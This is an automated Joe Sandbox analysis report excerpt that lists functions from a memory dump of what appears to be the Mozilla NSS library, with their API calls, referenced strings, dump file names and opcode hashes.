Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C547D13, 6C547D1F, 6C547D47, 6C547D53, 6C547D5F
database corruption, xrefs: 6C547D29
%s at line %d of [%.10s], xrefs: 6C547D2E

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 632333372-598938438
Opcode ID: 99206ca7ba117578c1e1d8c14cf5abd2c55139c4b65248617486b71086693d42
Instruction ID: 3ec35bcf9b462d5990c4e0b296abf77afb3f6fd426eaafb22aeff76a3531a520
Opcode Fuzzy Hash: 99206ca7ba117578c1e1d8c14cf5abd2c55139c4b65248617486b71086693d42
Instruction Fuzzy Hash: 60312871E0422997C710CF9DCC809BEB7F1EF88345B598596E444B7B86D271DC52CBA4

Function 6C536C90 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 76COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000134E5,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?), ref: 6C536D36

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C536D20
database corruption, xrefs: 6C536D2A
%s at line %d of [%.10s], xrefs: 6C536D2F

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 632333372-598938438
Opcode ID: 762c4f91fbc6ccc266fbaa0aaad3574ecd62cf1133299b5116e070ac8270ec2a
Instruction ID: 8871747a4a93fb4b304848d946fe239860dde584c29c1a31c99659742a8d1a39
Opcode Fuzzy Hash: 762c4f91fbc6ccc266fbaa0aaad3574ecd62cf1133299b5116e070ac8270ec2a
Instruction Fuzzy Hash: 2E21FC306043149BC711CE1ADC41B5AB7E2BF84308F248A2DD84D9BB91FB70F9498B92

Function 6C612FD0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 66memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,-000000D4,00000000,?,<+al,6C6132C2,<+al,00000000,00000000,?), ref: 6C612FDA

Part of subcall function 6C6014C0: TlsGetValue.KERNEL32 ref: 6C6014E0
Part of subcall function 6C6014C0: EnterCriticalSection.KERNEL32 ref: 6C6014F5
Part of subcall function 6C6014C0: PR_Unlock.NSS3 ref: 6C60150D

PORT_ArenaAlloc_Util.NSS3(?,-00000007), ref: 6C61300B

Part of subcall function 6C6010C0: TlsGetValue.KERNEL32(?,6C5A8802,00000000,00000008,?,6C59EF74,00000000), ref: 6C6010F3
Part of subcall function 6C6010C0: EnterCriticalSection.KERNEL32(?,?,6C5A8802,00000000,00000008,?,6C59EF74,00000000), ref: 6C60110C
Part of subcall function 6C6010C0: PL_ArenaAllocate.NSS3(?,?,?,6C5A8802,00000000,00000008,?,6C59EF74,00000000), ref: 6C601141
Part of subcall function 6C6010C0: PR_Unlock.NSS3(?,?,?,6C5A8802,00000000,00000008,?,6C59EF74,00000000), ref: 6C601182
Part of subcall function 6C6010C0: TlsGetValue.KERNEL32(?,6C5A8802,00000000,00000008,?,6C59EF74,00000000), ref: 6C60119C

SECOID_FindOIDByTag_Util.NSS3(00000010), ref: 6C61302A

Part of subcall function 6C600840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C6008B4

Part of subcall function 6C5EC3D0: PK11_ImportPublicKey.NSS3(?,?,00000000), ref: 6C5EC45D
Part of subcall function 6C5EC3D0: TlsGetValue.KERNEL32 ref: 6C5EC494
Part of subcall function 6C5EC3D0: EnterCriticalSection.KERNEL32(?), ref: 6C5EC4A9
Part of subcall function 6C5EC3D0: PR_Unlock.NSS3(?), ref: 6C5EC4F4

Strings

<+al, xrefs: 6C612FD0

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: Value$ArenaCriticalEnterSectionUnlockUtil$Alloc_AllocateErrorFindImportK11_Mark_PublicTag_
String ID: <+al
API String ID: 2538134263-2537768593
Opcode ID: 595581cd8a3e58213a728435827faa4a7978b5385ddb469e9c4028bda8901334
Instruction ID: 52ffd5809dcac5addcd626af0fbb10fb65594e74f440129e1969759d38a99f16
Opcode Fuzzy Hash: 595581cd8a3e58213a728435827faa4a7978b5385ddb469e9c4028bda8901334
Instruction Fuzzy Hash: EF11E7F6B00104ABDB008E69DC00A9B77D9AB8536DF184134F91DD7B80E772ED15C7A5

Function 6C66CC70 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

Part of subcall function 6C66CD70: PR_LoadLibrary.NSS3(ws2_32.dll,?,?,?,6C66CC7B), ref: 6C66CD7A
Part of subcall function 6C66CD70: PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6C66CD8E
Part of subcall function 6C66CD70: PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6C66CDA5
Part of subcall function 6C66CD70: PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6C66CDB8

PR_GetUniqueIdentity.NSS3(Ipv6_to_Ipv4 layer), ref: 6C66CCB5
memcpy.VCRUNTIME140(6C7014F4,6C7002AC,00000090), ref: 6C66CCD3
memcpy.VCRUNTIME140(6C701588,6C7002AC,00000090), ref: 6C66CD2B

Part of subcall function 6C589AC0: socket.WSOCK32(?,00000017,6C5899BE), ref: 6C589AE6
Part of subcall function 6C589AC0: ioctlsocket.WSOCK32(00000000,8004667E,00000001,?,00000017,6C5899BE), ref: 6C589AFC

Part of subcall function 6C590590: closesocket.WSOCK32(6C589A8F,?,?,6C589A8F,00000000), ref: 6C590597

Strings

Ipv6_to_Ipv4 layer, xrefs: 6C66CCB0

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: FindSymbol$memcpy$IdentityLibraryLoadUniqueclosesocketioctlsocketsocket
String ID: Ipv6_to_Ipv4 layer
API String ID: 1231378898-412307543
Opcode ID: 63c13eed9c57e4b27cb35ecce2e16587dd6028e059f52df9a95e9186677aaf8f
Instruction ID: 5f2cdb3a557b1b32bb810db4d011c4f37f1b058a6ab7312412c23a2134bff676
Opcode Fuzzy Hash: 63c13eed9c57e4b27cb35ecce2e16587dd6028e059f52df9a95e9186677aaf8f
Instruction Fuzzy Hash: 7B110AF1B002409FDB009F6A98467463AE8978631CF14153DF51AEFB41EF71D4148BDA

Function 6C537F90 Relevance: 6.2, APIs: 4, Instructions: 223COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C5381DF
LeaveCriticalSection.KERNEL32(?), ref: 6C538239
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C538255
sqlite3_free.NSS3(00000000), ref: 6C538260

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavememcpysqlite3_free
String ID:
API String ID: 1525636458-0
Opcode ID: b43f698dc9ba8b6a92f4572f090cc7b3d550eb4d71371686d08df42ae343c2bb
Instruction ID: b4442d27e6df2e88bfad46738e742986f35d6a3129bd2b5a2a20b34c2a91b617
Opcode Fuzzy Hash: b43f698dc9ba8b6a92f4572f090cc7b3d550eb4d71371686d08df42ae343c2bb
Instruction Fuzzy Hash: 5C918F71B01618CBEB08DFA1EC887ADBBB1BF06304F14112FD41ADB654EB396955CB86

Function 6C611D60 Relevance: 6.1, APIs: 4, Instructions: 141memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6C611D8F

Part of subcall function 6C6014C0: TlsGetValue.KERNEL32 ref: 6C6014E0
Part of subcall function 6C6014C0: EnterCriticalSection.KERNEL32 ref: 6C6014F5
Part of subcall function 6C6014C0: PR_Unlock.NSS3 ref: 6C60150D

PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6C611DA6

Part of subcall function 6C6010C0: TlsGetValue.KERNEL32(?,6C5A8802,00000000,00000008,?,6C59EF74,00000000), ref: 6C6010F3
Part of subcall function 6C6010C0: EnterCriticalSection.KERNEL32(?,?,6C5A8802,00000000,00000008,?,6C59EF74,00000000), ref: 6C60110C
Part of subcall function 6C6010C0: PL_ArenaAllocate.NSS3(?,?,?,6C5A8802,00000000,00000008,?,6C59EF74,00000000), ref: 6C601141
Part of subcall function 6C6010C0: PR_Unlock.NSS3(?,?,?,6C5A8802,00000000,00000008,?,6C59EF74,00000000), ref: 6C601182
Part of subcall function 6C6010C0: TlsGetValue.KERNEL32(?,6C5A8802,00000000,00000008,?,6C59EF74,00000000), ref: 6C60119C

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6C611E13
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C611ED0

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: ArenaUtil$Value$CriticalEnterSectionUnlock$Alloc_AllocateArena_FreeItem_Mark_
String ID:
API String ID: 84796498-0
Opcode ID: d8f4fb6d18bcb2d5a93b352a3f0b9c659acc39f65f34ba9c964f4546e25a1e71
Instruction ID: 433109fb48b78fa0894fc40da75a375371d895805a84cbb296670659dcc21027
Opcode Fuzzy Hash: d8f4fb6d18bcb2d5a93b352a3f0b9c659acc39f65f34ba9c964f4546e25a1e71
Instruction Fuzzy Hash: 54517775A04309CFDB04CF98D884BAEBBB6BF59309F144129E819AFB50D731E946CB94

Function 6C664FF0 Relevance: 6.1, APIs: 4, Instructions: 123COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000,00000000,?,?,00000001,?,6C5485D2,00000000,?,?), ref: 6C664FFD
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C66500C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C6650C8
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C6650D6

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: _byteswap_ulong
String ID:
API String ID: 4101233201-0
Opcode ID: c1842a32e4e7e127450c3a2af53b9f41a547574912252666c9cd46b28f398346
Instruction ID: d9114e23c6bfb31b6199afef45c5624302afa0c6c452978e5d5b15f22b7ae7d7
Opcode Fuzzy Hash: c1842a32e4e7e127450c3a2af53b9f41a547574912252666c9cd46b28f398346
Instruction Fuzzy Hash: 134181B2A002118FCB18CF19DCD279AB7E1BF4431871D46ADD84ACBB02E775E891CB95

Function 6C58FFA0 Relevance: 6.1, APIs: 4, Instructions: 118COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3(00000000,?,?,?,6C58FDFE), ref: 6C58FFAD

Part of subcall function 6C52CA30: EnterCriticalSection.KERNEL32(?,?,?,6C58F9C9,?,6C58F4DA,6C58F9C9,?,?,6C55369A), ref: 6C52CA7A
Part of subcall function 6C52CA30: LeaveCriticalSection.KERNEL32(?), ref: 6C52CB26

memset.VCRUNTIME140(00000000,00000000,00000008,00000000,?,?,?,6C58FDFE), ref: 6C58FFDF
EnterCriticalSection.KERNEL32(?,?,?,?,00000000,?,?,?,6C58FDFE), ref: 6C59001C
LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,00000000,?,?,?,6C58FDFE), ref: 6C59006F

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memsetsqlite3_initialize
String ID:
API String ID: 2358433136-0
Opcode ID: ae36799ee94ae7b3cc2316ab897e79e761bdc9a3f4fee6c8fd9d026f60c9f56e
Instruction ID: 8b39be9075028bdd758d90586324c3984867d73802379a9d20d0b27fa5daa107
Opcode Fuzzy Hash: ae36799ee94ae7b3cc2316ab897e79e761bdc9a3f4fee6c8fd9d026f60c9f56e
Instruction Fuzzy Hash: 6441F1B1F012559BDB08DF65EC89AAE7775FF8A304F04047ED81693700DB35A911CBA5

Function 6C677DE0 Relevance: 6.1, APIs: 4, Instructions: 108COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C677E10
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C677EA6
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C677EB5
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000), ref: 6C677ED8

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: _byteswap_ulong
String ID:
API String ID: 4101233201-0
Opcode ID: 68fd819e4aa8e36df1224ea11687829a8446297eaaca2911829ad9927b1d0bc6
Instruction ID: f96f3287298f85ebb0947a1d13df1b98c476f9f8e2ed814164dfe5f74455f2cd
Opcode Fuzzy Hash: 68fd819e4aa8e36df1224ea11687829a8446297eaaca2911829ad9927b1d0bc6
Instruction Fuzzy Hash: B131B7B2A001118FD715CF08DC9099AB7E2FF8831872B45B9C8595B711EB71EC55CBE5

Function 6C62DF00 Relevance: 6.1, APIs: 4, Instructions: 106COMMON

Download Yara Rule

APIs

Part of subcall function 6C5B3090: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C5CAE42), ref: 6C5B30AA
Part of subcall function 6C5B3090: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C5B30C7
Part of subcall function 6C5B3090: memset.VCRUNTIME140(-00000004,00000000,000000A8), ref: 6C5B30E5
Part of subcall function 6C5B3090: SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C5B3116
Part of subcall function 6C5B3090: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C5B312B
Part of subcall function 6C5B3090: PK11_DestroyObject.NSS3(?,?), ref: 6C5B3154
Part of subcall function 6C5B3090: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5B317E

SECKEY_CopyPrivateKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6C62DBBD), ref: 6C62DFCF
SECKEY_DestroyPrivateKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C62DFEE

Part of subcall function 6C5C86D0: PK11_Authenticate.NSS3(?,00000001,?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5C8716
Part of subcall function 6C5C86D0: TlsGetValue.KERNEL32(?,?,?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5C8727
Part of subcall function 6C5C86D0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C5C873B
Part of subcall function 6C5C86D0: PR_Unlock.NSS3(?), ref: 6C5C876F
Part of subcall function 6C5C86D0: PR_SetError.NSS3(00000000,00000000), ref: 6C5C8787

Part of subcall function 6C5EF820: free.MOZGLUE(6A1B7500,2404110F,?,?), ref: 6C5EF854
Part of subcall function 6C5EF820: free.MOZGLUE(FFD3F9E8,2404110F,?,?), ref: 6C5EF868
Part of subcall function 6C5EF820: DeleteCriticalSection.KERNEL32(04C4841B,2404110F,?,?), ref: 6C5EF882
Part of subcall function 6C5EF820: free.MOZGLUE(04C483FF,?,?), ref: 6C5EF889
Part of subcall function 6C5EF820: DeleteCriticalSection.KERNEL32(CCCCCCDF,2404110F,?,?), ref: 6C5EF8A4
Part of subcall function 6C5EF820: free.MOZGLUE(CCCCCCC3,?,?), ref: 6C5EF8AB
Part of subcall function 6C5EF820: DeleteCriticalSection.KERNEL32(280F1108,2404110F,?,?), ref: 6C5EF8C9
Part of subcall function 6C5EF820: free.MOZGLUE(280F10EC,?,?), ref: 6C5EF8D0

SECKEY_DestroyPublicKey.NSS3(00000000,?,?,6C62DBBD), ref: 6C62DFFC
PR_SetError.NSS3(FFFFE013,00000000,?,?,6C62DBBD), ref: 6C62E007

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: Utilfree$CriticalSection$DeleteDestroy$Arena_CopyErrorK11_Private$AlgorithmAlloc_ArenaAuthenticateEnterFreeItem_ObjectPublicTag_UnlockValuememset
String ID:
API String ID: 3730430729-0
Opcode ID: f5dca9dec7338d8e4a770dc03be4588757511d8f265e3c084c4b5c430f77dc9c
Instruction ID: f384212cc7c4f5caeb84c634cb6cb3f8acd688022e025757b31b8bcb1c5ee973
Opcode Fuzzy Hash: f5dca9dec7338d8e4a770dc03be4588757511d8f265e3c084c4b5c430f77dc9c
Instruction Fuzzy Hash: 7B31E7B1A0420197E7109E7AAC84A9B77B89F9530CF040135E909D7B52FF39D918CAEA

Function 6C5A6C50 Relevance: 6.1, APIs: 4, Instructions: 102memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6C5A6C8D
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C5A6CA9
PORT_ArenaAlloc_Util.NSS3(?,0000000C), ref: 6C5A6CC0
SEC_ASN1EncodeItem_Util.NSS3(?,00000000,?,6C6C8FE0), ref: 6C5A6CFE

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: Util$Alloc_Arena$EncodeItem_memset
String ID:
API String ID: 2370200771-0
Opcode ID: 5286e1fe91d7bb7a87adcf20894c742868fdb8642f4db92f017b1e646fc24c64
Instruction ID: ba0fcf85fbeb23db8f11e5ea3c3536815bbea8867217d333fb1f32e15994aae9
Opcode Fuzzy Hash: 5286e1fe91d7bb7a87adcf20894c742868fdb8642f4db92f017b1e646fc24c64
Instruction Fuzzy Hash: D03183B5A002169FDB08CFA9CC51ABFB7F5EF45248B10443DD905E7750EB319906CBA0

Function 6C6B4F00 Relevance: 6.1, APIs: 4, Instructions: 101fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,40000000,00000003,00000000,?,?,00000000), ref: 6C6B4F5D
free.MOZGLUE(?), ref: 6C6B4F74
free.MOZGLUE(?), ref: 6C6B4F82
GetLastError.KERNEL32 ref: 6C6B4F90

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: free$CreateErrorFileLast
String ID:
API String ID: 17951984-0
Opcode ID: 142da99d8e2692dfae1baf08ec433fd39636c66a545b1f438a6970a6c361dd9f
Instruction ID: e79c9f5092d7ccd33a06f6e989f59ddeb5271fe6a6a1bd1b55f291661509f3f8
Opcode Fuzzy Hash: 142da99d8e2692dfae1baf08ec433fd39636c66a545b1f438a6970a6c361dd9f
Instruction Fuzzy Hash: C1310975A002199BDB01CF69DC81BEB73BCEF85358F040225E825B7681DB74E9248799

Function 6C5FDDE0 Relevance: 6.1, APIs: 4, Instructions: 86memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(00000000,?,00000000,00000000,?,?,6C5FDDB1,?,00000000), ref: 6C5FDDF4

Part of subcall function 6C6014C0: TlsGetValue.KERNEL32 ref: 6C6014E0
Part of subcall function 6C6014C0: EnterCriticalSection.KERNEL32 ref: 6C6014F5
Part of subcall function 6C6014C0: PR_Unlock.NSS3 ref: 6C60150D

PORT_ArenaAlloc_Util.NSS3(?,00000054,?,00000000,00000000,?,?,6C5FDDB1,?,00000000), ref: 6C5FDE0B
PORT_Alloc_Util.NSS3(00000054,?,00000000,00000000,?,?,6C5FDDB1,?,00000000), ref: 6C5FDE17

Part of subcall function 6C600BE0: malloc.MOZGLUE(6C5F8D2D,?,00000000,?), ref: 6C600BF8
Part of subcall function 6C600BE0: TlsGetValue.KERNEL32(6C5F8D2D,?,00000000,?), ref: 6C600C15

PR_SetError.NSS3(FFFFE009,00000000), ref: 6C5FDE80

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
